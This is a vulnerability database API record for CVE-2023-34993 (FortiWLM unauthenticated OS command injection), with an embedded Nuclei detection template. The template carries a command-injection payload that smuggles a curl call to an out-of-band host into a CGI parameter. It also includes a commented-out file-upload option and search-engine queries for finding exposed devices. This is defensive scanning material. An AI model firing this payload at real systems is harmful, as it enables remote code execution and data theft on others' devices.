{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-34993/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-34993/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-34993/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-34993/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-34993/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-34993"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-34993"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-34993.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-34993\n\ninfo:\n  name: Fortinet FortiWLM Unauthenticated Command Injection Vulnerability\n  author: dwisiswant0\n  severity: critical\n  description: |\n    A improper neutralization of special elements used in an os command ('os\n    command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 and\n    8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands\n    Successful exploitation of this vulnerability could allow an attacker to\n    bypass authentication and gain unauthorized access to the affected system.\n  impact: |\n    Unauthenticated attackers can exploit OS command injection to execute unauthorized commands on Fortinet FortiWLM systems, enabling complete system compromise and network infiltration.\n  remediation: |\n    For FortiWLM version 8.6.0 through 8.6.5 upgrade to version >= 8.6.6.\n    For FortiWLM version 8.5.0 through 8.5.4 upgrade to version >= 8.5.5.\n  reference:\n    - https://fortiguard.com/psirt/FG-IR-23-140\n    - https://www.horizon3.ai/attack-research/attack-blogs/fortiwlm-the-almost-story-for-the-forti-forty/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-34993\n    cwe-id: CWE-78\n    epss-score: 0.18148\n    epss-percentile: 0.97075\n    cpe: cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: fortinet\n    product: fortiwlm\n    shodan-query:\n      - http.title:\"FortiWLM\"\n      - http.html:\"fortiwlm\"\n      - http.title:\"fortiwlm\"\n    fofa-query:\n      - body=\"fortiwlm\"\n      - title=\"fortiwlm\"\n    google-query: intitle:\"fortiwlm\"\n  tags: cve,cve2023,fortinet,fortiwlm,rce,unauth,vkev,vuln\nvariables:\n  progressfile: '{{rand_base(5)}};curl {{interactsh-url}} #' # -F \"file=/data/apps/nms/logs/httpd_error_log\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ems/cgi-bin/ezrf_upgrade_images.cgi?op_type=deleteprogressfile&progressfile={{url_encode(progressfile)}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n# digest: 490a00463044022061defaca54e66547bf8e2c9eff561ca3fc5becb6893b626f428592005dc3ab12022052427eff08aeaf670c92c9d63131b699bc282665fc2056a66bebc2ddb98dd12f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-34993"
}